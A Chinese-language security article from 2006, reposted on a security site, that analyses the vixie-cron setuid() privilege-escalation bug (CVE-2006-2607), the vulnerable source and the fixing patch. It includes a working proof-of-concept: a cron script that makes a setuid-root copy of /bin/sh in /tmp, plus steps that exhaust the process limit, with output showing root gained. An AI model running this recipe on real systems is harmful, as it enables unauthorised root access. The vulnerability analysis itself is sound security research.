首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>网络安全>文章内容
Setuid() - nproc limit 类型漏洞之深入分析
来源:www.ph4nt0m.org 作者:axis 发布时间:2006-07-26  

Setuid() - nproc limit 类型漏洞之深入分析
(PST)

---------[ Subject : Setuid() - nproc limit 类型漏洞之深入分析 ]
---------[ Author : axis(axis@ph4nt0m.org) ]
---------[ Copyright : www.ph4nt0m.org www.secwiki.com ]
---------[ Date : 07/20/2006 ]
---------[ Version : 1.0 ]

|=-----------------------------------------------------------------------------=|

---------[ Table of Contents ]

0x110 - 前言
0x120 - cron提升权限漏洞
0x130 - 深入分析
0x140 - Conclusion
0x150 - Reference

|=-----------------------------------------------------------------------------=|

---------[ 0x110 - 前言 ]
前段时间出现了一种新的类型的漏洞,就是未正确检查setuid()函数的返回值.
setuid()如果执行成功,将返回0,如果执行失败,将返回-1.如果程序以root的身份运行,假设该程序正常setuid(uid)后, 讲降低权限为普通用户,但是由于未检查setuid()的返回值,也就是说,出于一些原因,setuid失败了,那么程序可能还将继续以root身份运行.这就导致了一些非常危险的事情可能发生.


---------[ 0x110 - vixie cron提升权限漏洞 ]
前段时间出的vixie cron提升权限漏洞,就是属于该类型的漏洞
具体公告参见:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607

crond的守护进程是以root身份启动的,每个普通用户都可以建立自己的crontab
如果使用了pam_limits.so来限制用户启动的进程数,当用户的crontab里启动的进程数达到了限制数后,就会造成setuid失败,从而该子进程将继承root权限,继续以root身份运行.

具体我们来POC一下,测试平台是Redhat Enterprise Linux 4 Update 4

[axis@localhost temp]$ uname -a
Linux localhost.localdomain 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux

[axis@localhost temp]$ cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m

[axis@localhost temp]$ rpm -qa |grep vixie
vixie-cron-4.1-36.EL4

[axis@localhost temp]$ rpm -qa |grep pam
pam_ccreds-1-3
pam_smb-1.1.7-5
pam-devel-0.77-66.11
pam-0.77-66.11
pam_passwdqc-0.7.5-2
pam_krb5-2.1.8-1
spamassassin-3.0.4-1.el4
[axis@localhost temp]$

首先修改/etc/security/limits.conf
添加如下行:
axis hard nproc 400
这句的意思是把axis用户启动的进程限制为400

然后修改/etc/pam.d/crond
添加如下行:
session required pam_limits.so
这句的意思是crond使用pam_limits.so,而这个pam的so则是读取/etc/security/limits.conf的配置
所以在这里,cron就会限制axis用户只能运行400个进程了.

然后建立axis需要运行的任务.
建立如下shell脚本

[axis@localhost temp]$ pwd
/home/axis/temp
[axis@localhost temp]$ cat x.sh
#!/bin/sh

cp /bin/sh /tmp/sh
chown root:root /tmp/sh
chmod 4755 /tmp/sh

sleep 1000000;

[axis@localhost temp]$

该脚本会在/tmp下建立一个suid shell

然后添加到axis的crontab里:
[axis@localhost temp]$ crontab -e

* * * * * /home/axis/temp/x.sh
~
~
~
~
保存退出后,就已经建立好了任务了
[axis@localhost temp]$ crontab -l
* * * * * /home/axis/temp/x.sh
[axis@localhost temp]$

这样每分钟,就会运行一次x.sh

仔细看x.sh,因为可以发现,如果没有root权限,那么建立出来的/tmp/sh属主只能是axis.


查看下当前用户的进程数
[axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l
4
[axis@localhost temp]$

只有4个,而前面在/etc/security/limits.conf里限制axis进程数为400
那么,使用一些消耗的进程

[axis@localhost temp]$ ./daemon -s 100000 -p 380
创建指定的进程数量,父进程退出。
[axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l
390
[axis@localhost temp]$

daemon这个小程序的作用是在后台启动进程,每个进程sleep 100000s,这里我们启动了380个进程,所以现在进程总数是390

马上就快到400了


[axis@localhost temp]$ ll /tmp
total 608
-rwsr-xr-x 1 axis axis 616312 Jul 21 18:26 sh
[axis@localhost temp]$

可以看到现在/tmp/sh还是axis为属主,说明x.sh还是以axis身份运行的.


过了几分钟后
[root@localhost ~]# ll /tmp
total 608
-rwsr-xr-x 1 root root 616312 Jul 21 18:40 sh
[root@localhost ~]# ps axun | grep '^ *500 ' | wc -l
400
[root@localhost ~]#

可以看到/tmp/sh变成属主为root了!
[root@localhost ~]# ps aufx

......

root 2460 0.0 0.0 3440 512 ? Ss Jul12 0:00 gpm -m /dev/input/mice -t exps2
root 2470 0.0 0.0 6400 1096 ? Ss Jul12 0:00 crond
root 6020 0.0 0.0 6984 1444 ? S 18:36 0:00 \_ crond
axis 6021 0.0 0.0 3536 848 ? Ss 18:36 0:00 | \_ /bin/sh /home/axis/temp/x.sh
axis 6026 0.0 0.0 3040 456 ? S 18:36 0:00 | | \_ sleep 1000000
axis 6024 0.0 0.1 7956 2556 ? S 18:36 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root 6035 0.0 0.0 6984 1444 ? S 18:37 0:00 \_ crond
axis 6036 0.0 0.0 3252 844 ? Ss 18:37 0:00 | \_ /bin/sh /home/axis/temp/x.sh
axis 6041 0.0 0.0 2576 456 ? S 18:37 0:00 | | \_ sleep 1000000
axis 6039 0.0 0.1 7164 2564 ? S 18:37 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root 6073 0.0 0.0 6984 1444 ? S 18:38 0:00 \_ crond
axis 6074 0.0 0.0 3096 848 ? Ss 18:38 0:00 | \_ /bin/sh /home/axis/temp/x.sh
axis 6079 0.0 0.0 2456 456 ? S 18:38 0:00 | | \_ sleep 1000000
axis 6077 0.0 0.1 6532 2564 ? S 18:38 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root 6481 0.0 0.0 6984 1444 ? S 18:39 0:00 \_ crond
axis 6482 0.0 0.0 2568 844 ? Ss 18:39 0:00 | \_ /bin/sh /home/axis/temp/x.sh
axis 6487 0.0 0.0 2760 456 ? S 18:39 0:00 | | \_ sleep 1000000
root 6485 0.0 0.0 0 0 ? Z 18:39 0:00 | \_ [crond] <defunct>
root 6507 0.0 0.0 6980 1420 ? S 18:40 0:00 \_ crond
root 6508 0.0 0.0 3912 848 ? Ss 18:40 0:00 \_ /bin/sh /home/axis/temp/x.sh
root 6512 0.0 0.0 3080 456 ? S 18:40 0:00 \_ sleep 1000000
xfs 2496 0.0 0.0 4228 1416 ? Ss Jul12 0:00 xfs -droppriv -daemon
root 2515 0.0 0.0 2024 700 ? Ss Jul12 0:00 /usr/sbin/atd
dbus 2525 0.0 0.0 3160 1024 ? Ss Jul12 0:00 dbus-daemon-1 --system
root 2538 0.0 0.0 4168 1028 ? Ss Jul12 0:00 cups-config-daemon

......

注意这里!
root 6507 0.0 0.0 6980 1420 ? S 18:40 0:00 \_ crond
root 6508 0.0 0.0 3912 848 ? Ss 18:40 0:00 \_ /bin/sh /home/axis/temp/x.sh
root 6512 0.0 0.0 3080 456 ? S 18:40 0:00 \_ sleep 1000000

本来应该是以axis用户身份运行的x.sh,变成以root身份运行了!

---------[ 0x110 - 深入分析 ]


造成上面漏洞的原因是多方面的.首先,如果在/etc/security/limits.conf里限制了用户的进程数,那么 pam_limits.so将调用pam_open_session(),如果是root调用他,则会返回一个PAM_SUCCESS,同时以root执行下去.
但是当用户进程数达到限制的个数后,pam-0.79-9.6照样允许pam_open_session()成功执行下去,但是这个时候, crond的子进程却会setuid()失败, 而vixie-cron-4.1并没有检查setuid()的返回值,没有检查他是否已经setuid()成功,所以本来应该用setuid()来降权的,却照样以root身份在运行.而此时fork()却是被允许的,即便是已经达到了用户的最大进程数,所以,任务就以root身份继续运行下去了!!

我们可以看看代码,在do_command.c里:

......

void
do_command(entry *e, user *u) {
Debug(DPROC, ("[%ld] do_command(%s, (%s,%ld,%ld))\n",
(long)getpid(), e->cmd, u->name,
(long)e->pwd->pw_uid, (long)e->pwd->pw_gid))

/* fork to become asynchronous -- parent process is done immediately,
* and continues to run the normal cron code, which means return to
* tick(). the child and grandchild don't leave this function, alive.
*
* vfork() is unsuitable, since we have much to do, and the parent
* needs to be able to run off and fork other processes.
*/
switch (fork()) {
case -1:
log_it("CRON", getpid(), "error", "can't fork");
break;
case 0:
/* child process */
acquire_daemonlock(1);
child_process(e, u);
Debug(DPROC, ("[%ld] child process done, exiting\n",
(long)getpid()))
_exit(OK_EXIT);
break;
default:
/* parent process */
break;
}


......

/* set our directory, uid and gid. Set gid first, since once
* we set uid, we've lost root privledges.
*/
#ifdef LOGIN_CAP
{
#ifdef BSD_AUTH
auth_session_t *as;
#endif


......

#else
setgid(e->pwd->pw_gid);
initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 199103)
setlogin(usernm);
#endif /* BSD */
setuid(e->pwd->pw_uid); /* we aren't root after this... */

#endif /* LOGIN_CAP */
chdir(env_get("HOME", e->envp));


注意看这里
setgid(e->pwd->pw_gid);
......
setuid(e->pwd->pw_uid); /* we aren't root after this... */

这里仅仅是简单的执行setuid(),并没有做任何的检查返回值的措施.


再看看patch就更清楚了

[root@localhost SOURCES]# cat vixie-cron-4.1-privilege_escalation.patch
--- vixie-cron-4.1/do_command.c.orig 2006-05-29 16:45:32.000000000 +0200
+++ vixie-cron-4.1/do_command.c 2006-05-29 16:48:28.000000000 +0200
@@ -300,12 +300,24 @@
}
}
#else
- setgid(e->pwd->pw_gid);
+
initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 199103)
setlogin(usernm);
#endif /* BSD */
- setuid(e->pwd->pw_uid); /* we aren't root after this... */
+
+ if ( setgid(e->pwd->pw_gid) == -1 ) {
+ fprintf(stderr,"can't set gid for %s\n", e->pwd->pw_name);
+ _exit(1);
+ }
+
+ if ( setuid(e->pwd->pw_uid) == -1 ) {
+ fprintf(stderr,"can't set uid for %s\n", e->pwd->pw_name);
+ _exit(1);
+ }
+
+ /* we aren't root after this... */
+

#endif /* LOGIN_CAP */
chdir(env_get("HOME", e->envp));
[root@localhost SOURCES]#

在补丁里,对setuid()和setgid()的返回值都加上了限制.

这个漏洞主要是pam的特性造成的,即如果是root执行pam_open_session(),那么是可以继续fork()的,即使是user nproc limit达到了限制数,但是此时setuid()却fail了,所以造成了这个问题.其本质就是:fork()正常执行,而setuid()却失败了.

在Josh的blog上,他曾经提到在2.6内核中,默认给每个用户设置了nproc limit,所以对于2.6内核,是默认都可以成功提权的.
见:http://www.bress.net/blog/archives/34-setuid-madness.html

其实这是不正确的.

init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2;
init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2;

这里确实是限制了用户的进程数,但是RLIMIT_NPROC在2.4内核中就有了,进程数与内存大小等都有关系


[root@localhost ~]# ulimit -u
32764
[root@localhost ~]#

每个用户默认是可以启动32764个进程的,虽然可以使用ulimit -u命令来修改他,但是与/etc/security/limits.conf里限制的user nproc limit还是有区别的.

经过测试,直接使用ulimit -u来修改进程数,是无法再fork()出来新的用户进程的,这是因为前面提到过这个漏洞还与pam是相关的,利用了pam的特性,会一直成功的fork()

---------[ 0x110 - Conclusion ]

综上所述,要成功利用该类型的漏洞,需要满足三个条件:
1) 程序以root身份运行,同时fork()出子进程,其子进程通过setuid()降权
2) setuid()失败,但是程序并未检查setuid()的返回值
3) setuid()失败后,还能够继续成功fork(),这样就是以root身份运行了,从而达到了提权的目的.

pam的nproc limit只是一个例子,只要满足了上面3个条件,应该说都存在此类缺陷,是否还有更多的漏洞来等待我们的挖掘呢?!

最后感谢 thiefox,gary

---------[ 0x110 - Reference ]

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=178431
http://www.bress.net/blog/archives/34-setuid-madness.html

-EOF-


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·一句话木马
·samcrypt.lib简介
·教你轻松查看QQ空间加密后的好友
·web sniffer 在线嗅探/online ht
·SPIKE与Peach Fuzzer相关知识
·asp,php,aspx一句话集合
·Cisco PIX525 配置备忘
·用Iptables+Fedora做ADSL 路由器
·检查 Web 应用安全的几款开源免
·Md5(base64)加密与解密实战
·NT下动态切换进程分析笔记
·风险评估中的渗透测试
  相关文章
·也谈跨站脚本攻击与防御
·一个评价入侵检测系统漏洞攻击检
·简析Linux与FreeBSD的syscall与s
·NAT在NDIS中间层驱动中的实现
·用OpenSWAN做Linux下的IPSec VPN
·NAT在NDIS中间层驱动中的实现
·openrowset/opendatasource的其
·防火墙防止DDOS分布式拒绝服务攻
·杂谈PHP4内核Hacking
·国际标准ISO/IEC17799(一)
·J2EE工程实现中常见安全问题解决
·国际标准ISO/IEC17799(二)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved